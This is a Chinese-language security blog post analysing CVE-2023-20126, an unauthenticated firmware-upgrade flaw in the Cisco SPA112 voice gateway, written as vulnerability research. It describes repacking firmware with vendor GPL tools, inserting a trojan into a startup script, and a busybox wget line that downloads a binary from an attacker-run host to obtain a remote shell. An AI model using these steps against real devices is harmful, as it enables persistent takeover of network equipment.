SPA112 是 Cisco 早期推出的一款语音网关,2023 年 5 月 3 日,Cisco 官方发布了关于此设备的漏洞 CVE-2023-20126,本文对此漏洞进行分析。
漏洞分析
可以在 Cisco 官方网站下载到该设备的固件,当前最新版为 1.4.1 SR5 (已停止维护)。
直接使用 binwalk 解压,解压后得到一个 squashfs 文件系统。
该漏洞比较简单,出现在 web 服务中。关键文件为 /usr/sbin/httpd,我们使用 IDA 逆向分析,找到请求处理的主要部分
1 | v114 = uri_handler[0]; |
这部分逻辑和一些开源 web 服务相似,通过将请求 URI 和程序中一个数组相比较,取出相同条目的函数指针调用。列表中的每个项目第 1 个成员是 uri 字符串,第 4 个成员是 handler 函数指针,第 6 个成员表示该 CGI 接口是否需要身份验证。
统计所有接口,我们发现在无需授权的接口中,包含一个叫做 upgrade.cgi 的接口,对应 handler 如下
1 | int __fastcall upgrade_handler(int a1, int a2, int a3, int a4) |
这个接口负责对设备进行固件升级,代码会尝试获取 Content-Disposition 请求参数,判断其中的 name 为 file 还是 restore。当 name 为 file 时,代码设置 submit_button 变量为 Upgrade,在后续的 if 条件判断中,会检查 submit_button 变量,如果它等于 Upgrade,则继续判断 remote_upgrade 等参数值。这样的目的是为了防止用户从 WAN 端执行固件升级操作。
观察逻辑,当 name 等于 Restore 时,代码设置 submit_button 等于 Restore,之后回到 if 判断,此时 nvram_match 函数返回 0,第一条逻辑成立,则会跳过后续判断进入 if 语句,随后调用 sub_1E048 函数,开始升级系统。
因此,没有经过授权的用户可以尝试构造一个恶意的固件文件,利用这个接口上传到设备,当升级完成之后新的系统中就会包含攻击者控制的木马程序。
利用分析
该漏洞原理比较简单,但是想利用却要花费一些心思。因为需要知道合法的固件格式,以及如何正确解包和打包。
我们首先来分析一下设备的固件格式,查看 binwalk 解析结果:
1 | DECIMAL HEXADECIMAL DESCRIPTION |
固件中主要包含 Linux 内核以及 squashfs 文件系统两部分,考虑到希望植入木马程序,内核部分可以略过,所以主要关注点应放在 Squashfs filesystem 上面。
使用以下命令将文件系统切割出来:
1 | dd if=ori.bin of=sqfs.ori bs=1 skip=1573256 |
按照常规思路,接下来我们可以使用 unsquashfs 工具解压 sqfs.ori,但是直接解压会提示错误:
1 | FATAL ERROR: Can't find a valid SQUASHFS superblock on ./sqfs.ori |
由于 unsquashfs 等 sqfs 工具是开源的,猜测厂商可能将这部分代码做了修改。如果想要正常解压以及打包,那么就要找出修改了哪些部分,想办法还原相关逻辑。
幸运的是 Cisco 官网上保留了该设备的 GPL 代码包,其中就包含修改过的 sqfs 工具。我们下载这套代码,将其中的 squashfs 相关工具编译出来,使用这些工具即可正常对文件进行解包(binwalk 可以正常解包,应该是 binwalk 内部进行了特殊支持)。
解包后需要找到一个位置植入木马文件,通常我们会寻找一些开机自启动的脚本,在其中添加执行木马的命令。在这个系统中,可以修改 /etc/rc.init.1 文件,系统启动后会自动执行。
修改之后的样例:
1 |
|
修改完成,使用之前编译的 mksquashfs 重新打包,确保打包之后的文件不大于原始文件,然后拼接回原来的固件末尾,补齐至原始长度。
现在,如果将这个重新打包好的固件刷入设备,重启之后将会进入 “救援模式”,提示之前传入的固件无法正常启动,请重新刷写。
因此除了简单修改文件系统之外,我们还需要调整固件中的其他结构,以满足升级逻辑。继续分析 upgrade.cgi,在函数开头部分会执行一些命令
1 | v100 = dword_623C8; |
根据名称来猜测,splitfmwr 程序切割固件,将其分为 n 个部分,而 write 程序执行实际的写入闪存操作。
那么主要的固件验证逻辑应该就位于 splitfmwr 程序中,这个程序比较复杂,它会根据固件头部尝试将固件切割,对于正常的固件,理论上会切割出 bootloader、内核、文件系统等。这些不同的部分称之为 module,多个 module 组成了一个 pack,固件头部包含 n 个 MD5 值,用于校验固件中的各个组成部分。
对于这些结构我们可以尝试逐步分析,直到写出一个可用的打包程序。不过在查看 GPL 代码时,发现其中包含两个项目:pkger 和 moduler,它们正是用于打包 SPA112 固件的工具。将这两个工具编译出来,在原始固件上能够正常解析
1 | ➜ repack ./tools/pkger -r ./ori.bin |
这样,可以节省我们很多精力,参考 GPL 中的打包脚本结合各个工具,可快速制作出符合升级要求的固件。
在本地构造 1.sh,并准备好 busybox 程序,开启 python web 服务
1 | /bin/busybox wget -O /tmp/busybox http://192.168.0.124:8000/busybox |
将构造好的固件刷入设备:
升级完成出现以下画面:
等待设备重新启动,如果一切正常,在 python 服务器端可以收到下载文件的请求,之后连接设备的 12345 端口即可得到 shell:
本文我们简单分析了 Cisco SPA112 语音网关的漏洞,尝试使用厂商开源的 GPL 工具构造恶意固件,植入木马后获取代码执行权限。相关工具
- 本文作者: CataLpa
- 本文链接: https://wzt.ac.cn/2023/05/12/spa112/
-
版权声明:
本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可。